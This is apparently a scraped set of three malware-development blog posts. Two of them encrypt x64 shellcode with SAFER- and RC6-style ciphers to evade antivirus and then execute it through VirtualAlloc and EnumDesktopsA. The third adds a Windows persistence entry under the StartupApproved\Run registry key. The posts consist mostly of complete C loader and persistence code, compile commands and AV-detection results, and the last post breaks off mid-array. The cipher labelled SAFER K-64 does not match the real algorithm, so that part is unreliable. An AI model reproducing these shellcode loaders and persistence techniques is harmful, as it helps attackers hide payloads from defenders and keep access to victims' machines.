❌

Reading view

There are new articles available, click to refresh the page.

Malware and cryptography 26: encrypt/decrypt payload via SAFER. Simple C/C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

This post is the result of my own research on try to evasion AV engines via encrypting payload with another algorithm: SAFER. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

SAFER

SAFER (Secure And Fast Encryption Routine) is a symmetric block cipher designed by James Massey. SAFER K-64 specifically refers to the variant with a 64-bit key size. It’s notable for its nonproprietary nature and has been incorporated into some products by Cylink Corp.

SAFER K-64 operates as an iterated block cipher, meaning the same function is applied for a certain number of rounds. Each round utilizes two 64-bit subkeys, and the algorithm exclusively employs operations on bytes. Unlike DES, SAFER K-64 is not a Feistel network.

practical example

For practical example, here is the step-by-step flow of the SAFER-64:

// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];

// SAFER-64 encryption rounds
for (i = 0; i < ROUNDS; i++) {
  T = R ^ key_ptr[i % 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  L ^= (T + R);
  T = L ^ key_ptr[(i % 4) + 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  R ^= (T + L);
}

// update the data block with the encrypted values
data_ptr[0] = L;
data_ptr[1] = R;

So, the encryption function looks like this:

void safer_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = 0; i < ROUNDS; i++) {
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

What about decryption logic? The decryption process is not much different from encryption:

// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];

// SAFER-64 decryption rounds
for (i = ROUNDS - 1; i >= 0; i--) {
  T = L ^ key_ptr[(i % 4) + 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  R ^= (T + L);
  T = R ^ key_ptr[i % 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  L ^= (T + R);
}

// Update the data block with the decrypted values
data_ptr[0] = L;
data_ptr[1] = R;

Respectively, SAFER-64 Decryption Function looks like this:

void safer_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = ROUNDS - 1; i >= 0; i--) {
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

Full source code for my main logic (β€œmalicious” payload encryption) look like this (hack.c):

/*
 * hack.c - encrypt and decrypt shellcode via SAFER. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/04/09/malware-cryptography-26.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define BLOCK_SIZE 8 // 64 bits
#define ROUNDS 6

void safer_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = 0; i < ROUNDS; i++) {
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

void safer_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = ROUNDS - 1; i >= 0; i--) {
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

int main() {
  unsigned char key[] = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  unsigned char my_payload[] =
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

  int len = sizeof(my_payload);
  int pad_len = (len + BLOCK_SIZE - 1) & ~(BLOCK_SIZE - 1);

  unsigned char padded[pad_len];
  memset(padded, 0x90, pad_len);
  memcpy(padded, my_payload, len);

  // encrypt the padded shellcode
  for (int i = 0; i < pad_len; i += BLOCK_SIZE) {
    safer_encrypt(&padded[i], key);
  }

  printf("encrypted:\n");
  for (int i = 0; i < sizeof(padded); i++) {
    printf("\\x%02x", padded[i]);
  }
  printf("\n\n");

  // decrypt the padded shellcode
  for (int i = 0; i < pad_len; i += BLOCK_SIZE) {
    safer_decrypt(&padded[i], key);
  }

  printf("decrypted:\n");
  for (int i = 0; i < sizeof(padded); i++) {
    printf("\\x%02x", padded[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, sizeof(padded), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, padded, pad_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);

  return 0;
}

As you can see, first of all, before encrypting, we use padding via the NOP (\x90) instructions.

As usually, I used meow-meow payload:

"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

For simplicity, I use running shellcode via EnumDesktopsA logic.

demo

Let’s go to see this trick in action. Compile our β€œmalware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

And run it at the victim’s machine (Windows 10 x64 v1903 in my case):

cryptography

cryptography

As you can see, our decrypted shellcode is modified: padding \x90 is working as expected.

Calc entropy and upload to VirusTotal:

python3 entropy.py -f ./hack.exe

cryptography

cryptography

https://www.virustotal.com/gui/file/65c5a47a5c965647f5724e520b23e947deb74ef48b7b961f8f159cdd9c392deb/detection

24 of of 70 AV engines detect our file as malicious as expected.

As you can see, this algorithm encrypts the payload quite well, but it is detected by many AV engines and is poorly suited for bypassing them, but this is most likely due to the fact that a well-studied method of launching the payload is used. if you apply anti-debugging, anti-disassembly and anti-VM tricks, the result will be better.

The Singapore government has considered using SAFER with a 128-bit key for various applications due to its lack of patent, copyright, or other restrictions, making it an attractive choice for widespread adoption.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

SAFER
Malware and cryptography 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development: persistence - part 24. StartupApproved. Simple C example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

pers

This post is based on my own research into one of the another interesting malware persistence tricks: via StartupApproved Registry key.

StartupApproved

The very first post in the series about persistence, I wrote about one of the most popular and already classic techniques, via Registry Run keys.

An uncommon Registry entry utilized by the standard β€œstartup” process (i.e., the one mostly controlled by Windows Explorer, such as the Run and RunOnce keys, the Startup folder, etc.) after userinit.exe completes its operation, is located at the following location in the Registry:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run

Turns out, this key is populated when entries are enabled or disabled via the Windows Task Manager’s Startup tab:

pers

The good news is that we can use this registry path for persistence.

practical example

First of all, check Registry keys by the following command:

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved" /s

pers

At the next step, as usually, create our β€œevil” application (hack.c):

/*
hack.c
simple DLL messagebox
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  nReason, LPVOID lpReserved) {
  switch (nReason) {
  case DLL_PROCESS_ATTACH:
    MessageBox(
      NULL,
      "Meow-meow!",
      "=^..^=",
      MB_OK
    );
    break;
  case DLL_PROCESS_DETACH:
    break;
  case DLL_THREAD_ATTACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  }
  return TRUE;
}

As usually, just meow-meow messagebox.

Then we just modifying our HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved registry key, like this (pers.c):

/*
pers.c
windows persistence
via StartupApproved
author: @cocomelonc
https://cocomelonc.github.io/malware/2024/03/12/malware-pers-24.html
*/
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;

  BYTE data[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

  const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run";
  const char* evil = "Z:\\2024-03-12-malware-pers-24\\hack.dll";

  LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) path, 0, KEY_WRITE, &hkey);
  printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");

  res = RegSetValueEx(hkey, (LPCSTR)evil, 0, REG_BINARY, data, sizeof(data));
  printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");

  // close the registry key
  RegCloseKey(hkey);

  return 0;
}

As you can the the logic of our Proof of Concept is pretty simple - we set the value of the registry entry to 0x02 0x00... binary value.

demo

Let’s go to see everything in action. First of all, compile our β€œmalware” DLL:

x86_64-w64-mingw32-g++ -shared -o hack.dll hack.c -fpermissive

pers

Then, compile our PoC:

x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

pers

Finally, run it on the victim’s machine. In my case, for Windows 10 x64 v1903 VM, it is looks like this:

.\pers.exe

pers

As you can see, I also checked registry again:

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved" /s

pers

Then, logout and login again:

pers

pers

But unexpectedly it didn’t work for me…

Then, I just update the name of entry:

pers

Logout and login, little bit wait…. and it’s worked perfectly….

pers

pers

So I updated one line in my script:

/*
pers.c
windows persistence
via StartupApproved
author: @cocomelonc
https://cocomelonc.github.io/malware/2024/03/12/malware-pers-24.html
*/
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;

  BYTE data[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

  const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run";
  const char* evil = "C:\\temp\\hack.dll";

  LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) path, 0, KEY_WRITE, &hkey);
  printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");

  res = RegSetValueEx(hkey, (LPCSTR)evil, 0, REG_BINARY, data, sizeof(data));
  printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");

  // close the registry key
  RegCloseKey(hkey);

  return 0;
}

But there is a caveat. Sometimes when I tested this feature, it launched like Skype for me:

pers

pers

As you can see, everything worked perfectly as expected! =^..^= :)

This technique is used by APT groups like APT28, APT29, Kimsuky and APT33 in the wild. In all honesty, this method is widely employed and widespread due to its extreme convenience in deceiving the victims.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

This is a practical case for educational purposes only.

ATT&CK MITRE: T1547.001
Malware persistence: part 1
APT28
APT29
Kimsuky
APT33
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware and cryptography 25: encrypt/decrypt payload via RC6. Simple C/C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of my previous posts about cryptography in malware, I considered RC5 encryption, one of the readers asked what would happen if I used RC6 encryption for my payload.

This post is the result of my own research on try to evasion AV engines via encrypting payload with another logic: RC6. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

RC6

RC6 is a symmetric key algorithm for block encryption designed by Ron Rivest in 1998, four years after the proposal of its predecessor, the RC5 encryption algorithm.

How it works?

RC6 uses a key expansion algorithm to generate round keys from the user-provided key. The key size can vary from 128 bits to 256 bits, making it highly secure.

The encryption process involves iterating through a number of rounds, with each round performing a set of operations on the plaintext. In RC6, each round consists of four main steps: mixing, adding round key, rotation, and modular addition. The output of one round becomes the input for the next round.

The decryption process is the reverse of the encryption process. The ciphertext is divided into blocks of 16 bytes each and decrypted using the round keys in reverse order.

practical example

Let’s implement it. First of all, initializing P and Q. RC6 uses two word-sized constants, P and Q:

#define P32 0xB7E15163
#define Q32 0x9E3779B9

P32 is an arbitrary value derived from the mathematical constant phi (Ο†), specifically Ο† = (sqrt(5) - 1) / 2. It is then multiplied by 2^32.
Q32 is another arbitrary value derived from the golden ratio constant (ψ), specifically ψ = (sqrt(5) + 1) / 2. It is then multiplied by 2^32.

ROTL (Rotate Left) and ROTR (Rotate Right) are bitwise rotation operations. ROTL rotates the bits of a binary number to the left by a specified number of positions.

ROTR rotates the bits of a binary number to the right by a specified number of positions.

#define ROTL(x, y) (((x) << (y & (W_BITS - 1))) | ((x) >> (W_BITS - (y & (W_BITS - 1)))))
#define ROTR(x, y) (((x) >> (y & (W_BITS - 1))) | ((x) << (W_BITS - (y & (W_BITS - 1)))))

In the RC6 algorithm, ROTL and ROTR are used to perform circular shifts of the binary representations of the input data, keys, and intermediate values during encryption and decryption.

Then, the rc6_setup function performs the key expansion. It takes the user-provided key and generates round keys, which are stored in the S` array:

void rc6_setup(const uint8_t *key, WORD S[2 * ROUNDS + 4]) {
  int i, j, s, A, B, L[KEYLEN / sizeof(int)], L32 = KEYLEN / (2 * sizeof(int));

  for (i = KEYLEN - 1, L[KEYLEN / sizeof(int) - 1] = 0; i != -1; i--)
    L[i / sizeof(int)] = (L[i / sizeof(int)] << 8) + key[i];

  for (S[0] = P32, i = 1; i < 2 * ROUNDS + 4; i++)
    S[i] = S[i - 1] + Q32;

  for (A = B = i = j = s = 0; s < 3 * ((2 * ROUNDS + 4) > (2 * L32) ? (2 * ROUNDS + 4) : (2 * L32)); s++, i = (i + 1) % (2 * ROUNDS + 4), j = (j + 1) % (2 * L32))
    S[i] = ROTL((S[i] + A + B), 3), A = S[i] = ROTL((S[i] + A + B), (A + B)), B = L[j] = ROTL((L[j] + A + B), (A + B));
  return;
}

The next one is the rc6_encrypt function. It takes the plaintext and the round keys generated during key expansion and applies the encryption algorithm to produce the ciphertext.Since we have the expanded key in the array S, we can perform the encryption algorithm as specified below. The registers are A,B,C, and D which hold both the input (plaintext) and output (ciphertext). Moreover, the first byte of the plaintext (or ciphertext) is placed in the least-significant byte of A while the last byte of the plaintext is placed in the most-significant byte of D:

void rc6_encrypt(const uint8_t pt[16], const WORD S[2 * ROUNDS + 4], uint8_t ct[16]) {
  WORD A = *(WORD *)(pt + 0), B = *(WORD *)(pt + 4), C = *(WORD *)(pt + 8), D = *(WORD *)(pt + 12), t, u;
  B += S[0], D += S[1];
  for (int i = 1; i <= ROUNDS; i++) {
    t = ROTL(B * (2 * B + 1), 5), u = ROTL(D * (2 * D + 1), 5), A = ROTL(A ^ t, u) + S[2 * i], C = ROTL(C ^ u, t) + S[2 * i + 1], t = A, A = B, B = C, C = D, D = t;
  }
  A += S[2 * ROUNDS + 2], C += S[2 * ROUNDS + 3];
  *(WORD *)(ct + 0) = A, *(WORD *)(ct + 4) = B, *(WORD *)(ct + 8) = C, *(WORD *)(ct + 12) = D;
  return;
}

At the end of ROUNDS rounds, registers A,B,C and D hold the ciphertext.

The decryption process implemented in the rc6_decrypt function. It takes the ciphertext and the round keys generated during key expansion and applies the decryption algorithm to produce the plaintext:

void rc6_decrypt(const uint8_t ct[16], const WORD S[2 * ROUNDS + 4], uint8_t pt[16]) {
  WORD A = *(WORD *)(ct + 0), B = *(WORD *)(ct + 4), C = *(WORD *)(ct + 8), D = *(WORD *)(ct + 12), t, u;
  C -= S[2 * ROUNDS + 3], A -= S[2 * ROUNDS + 2];
  for (int i = ROUNDS; i >= 1; i--) {
    t = D, D = C, C = B, B = A, A = t, u = ROTL(D * (2 * D + 1), 5), t = ROTL(B * (2 * B + 1), 5), C = ROTR(C - S[2 * i + 1], t) ^ u, A = ROTR(A - S[2 * i], u) ^ t;
  }
  D -= S[1], B -= S[0];
  *(WORD *)(pt + 0) = A, *(WORD *)(pt + 4) = B, *(WORD *)(pt + 8) = C, *(WORD *)(pt + 12) = D;
  return;
}

For simplicity I just implemented 20-round encryption.

Finally, the full source code for encryption/decryption payload is:

/*
 * hack.c
 * RC6 implementation
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/02/21/malware-cryptography-25.html
*/
#include <stdint.h>
#include <string.h>
#include <math.h>
#include <stdio.h>
#include <windows.h>

#define WORD uint32_t
#define W_BITS 32
#define ROUNDS 20
#define KEYLEN 16

#define P32 0xB7E15163
#define Q32 0x9E3779B9

#define ROTL(x, y) (((x) << (y & (W_BITS - 1))) | ((x) >> (W_BITS - (y & (W_BITS - 1)))))
#define ROTR(x, y) (((x) >> (y & (W_BITS - 1))) | ((x) << (W_BITS - (y & (W_BITS - 1)))))

void rc6_setup(const uint8_t *key, WORD S[2 * ROUNDS + 4]) {
  int i, j, s, A, B, L[KEYLEN / sizeof(int)], L32 = KEYLEN / (2 * sizeof(int));

  for (i = KEYLEN - 1, L[KEYLEN / sizeof(int) - 1] = 0; i != -1; i--)
    L[i / sizeof(int)] = (L[i / sizeof(int)] << 8) + key[i];

  for (S[0] = P32, i = 1; i < 2 * ROUNDS + 4; i++)
    S[i] = S[i - 1] + Q32;

  for (A = B = i = j = s = 0; s < 3 * ((2 * ROUNDS + 4) > (2 * L32) ? (2 * ROUNDS + 4) : (2 * L32)); s++, i = (i + 1) % (2 * ROUNDS + 4), j = (j + 1) % (2 * L32))
    S[i] = ROTL((S[i] + A + B), 3), A = S[i] = ROTL((S[i] + A + B), (A + B)), B = L[j] = ROTL((L[j] + A + B), (A + B));

  return;
}

void rc6_encrypt(const uint8_t pt[16], const WORD S[2 * ROUNDS + 4], uint8_t ct[16]) {
  WORD A = *(WORD *)(pt + 0), B = *(WORD *)(pt + 4), C = *(WORD *)(pt + 8), D = *(WORD *)(pt + 12), t, u;
  B += S[0], D += S[1];
  for (int i = 1; i <= ROUNDS; i++) {
    t = ROTL(B * (2 * B + 1), 5), u = ROTL(D * (2 * D + 1), 5), A = ROTL(A ^ t, u) + S[2 * i], C = ROTL(C ^ u, t) + S[2 * i + 1], t = A, A = B, B = C, C = D, D = t;
  }
  A += S[2 * ROUNDS + 2], C += S[2 * ROUNDS + 3];
  *(WORD *)(ct + 0) = A, *(WORD *)(ct + 4) = B, *(WORD *)(ct + 8) = C, *(WORD *)(ct + 12) = D;
  return;
}

void rc6_decrypt(const uint8_t ct[16], const WORD S[2 * ROUNDS + 4], uint8_t pt[16]) {
  WORD A = *(WORD *)(ct + 0), B = *(WORD *)(ct + 4), C = *(WORD *)(ct + 8), D = *(WORD *)(ct + 12), t, u;
  C -= S[2 * ROUNDS + 3], A -= S[2 * ROUNDS + 2];
  for (int i = ROUNDS; i >= 1; i--) {
    t = D, D = C, C = B, B = A, A = t, u = ROTL(D * (2 * D + 1), 5), t = ROTL(B * (2 * B + 1), 5), C = ROTR(C - S[2 * i + 1], t) ^ u, A = ROTR(A - S[2 * i], u) ^ t;
  }
  D -= S[1], B -= S[0];
  *(WORD *)(pt + 0) = A, *(WORD *)(pt + 4) = B, *(WORD *)(pt + 8) = C, *(WORD *)(pt + 12) = D;
  return;
}

int main() {

  uint8_t key[KEYLEN] = { 0x24, 0x3F, 0x6A, 0x88, 0x85, 0xA3, 0x08, 0xD3, 0x45, 0x28, 0x21, 0xE6, 0x38, 0xD0, 0x13, 0x77 };
  WORD S[2 * ROUNDS + 4];
  rc6_setup(key, S);

  unsigned char data[] = {
    0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
    0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
    0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
    0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
    0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
    0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
    0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
    0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
    0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
    0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
    0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
    0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
    0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
    0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
    0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
    0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
    0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
    0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
    0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  };

  int data_size = sizeof(data);
  int padded_size = (data_size + 15) & ~15; // pad data to the nearest multiple of 16

  printf("original data:\n");
  for (int i = 0; i < data_size; ++i) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  unsigned char padded_data[padded_size];
  memcpy(padded_data, data, data_size);

  unsigned char encrypted[padded_size];
  unsigned char decrypted[padded_size];

  for (int i = 0; i < padded_size; i += 16) {
    uint8_t message_chunk[16];
    memcpy(message_chunk, padded_data + i, sizeof(message_chunk));

    rc6_encrypt(message_chunk, S, message_chunk);
    memcpy(encrypted + i, message_chunk, sizeof(message_chunk));

    rc6_decrypt(message_chunk, S, message_chunk);
    memcpy(decrypted + i, message_chunk, sizeof(message_chunk));
  }

  printf("padded data:\n");
  for (int i = 0; i < padded_size; ++i) {
    printf("%02x ", padded_data[i]);
  }
  printf("\n\n");

  printf("encrypted data:\n");
  for (int i = 0; i < padded_size; ++i) {
    printf("%02x ", encrypted[i]);
  }
  printf("\n\n");

  printf("decrypted data:\n");
  for (int i = 0; i < padded_size; ++i) {
    printf("%02x ", decrypted[i]);
  }
  printf("\n\n");

  // Compare decrypted data with original data
  if (memcmp(data, decrypted, data_size) == 0) {
    printf("encryption and decryption successful.\n");
  } else {
    printf("encryption and decryption failed.\n");
  }

  LPVOID mem = VirtualAlloc(NULL, data_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, decrypted, data_size);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (long long int)NULL);

  return 0;
}

As usually, for simplicity, used meow-meow messagebox payload:

unsigned char data[] = {
